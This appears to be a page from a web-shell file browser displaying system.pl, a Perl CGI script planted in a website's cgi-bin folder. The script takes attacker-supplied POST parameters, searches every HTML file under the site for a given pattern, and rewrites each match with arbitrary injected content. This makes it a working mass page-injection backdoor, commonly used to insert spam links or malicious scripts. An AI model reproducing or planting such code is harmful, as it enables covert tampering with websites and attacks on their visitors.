0byt3m1n1
Path:
/
data
/
0
/
0
/
22
/
44
/
22370
/
user
/
22848
/
cgi-bin
/
[
Home
]
File: system.pl
#!/usr/bin/perl $|=1; read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/, $buffer); if (length($buffer)) { foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~tr/+/ /; $value =~ tr/ / /; $value =~ s/<!--(.|\n)*-->//g; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; } $body = $FORM{'body'}; $place = $FORM{'place'}; $replace = $FORM{'replace'}; &print_paste; } else { print "Content-type: text\n\n1\n"; exit; } sub print_paste { print "Content-type: text\n"; print "Cache-control: private\n\n"; #print `find ../ -name \*404.htm*`; #print "$buffer $body $place $replace"; @filelist = split(/\n/, `find ../ -name \*.htm*`); #print @filelist; foreach (@filelist) { $file = $_; $file =~ s/\.\.//; &UpdateFile($_); if ($fnd) {print "$file\n";} } } sub UpdateFile { $fnd = 0; my $file = shift; my($fbody); open(DBF, "$file"); $fbody = ""; while(<DBF>) { $fbody .= $_; } close (DBF); if ($fbody =~ m/$place/i) {$fnd = 1;} $fbody =~ s/$place/$body\n/i; open(DBF, ">$file"); print DBF $fbody; close (DBF); }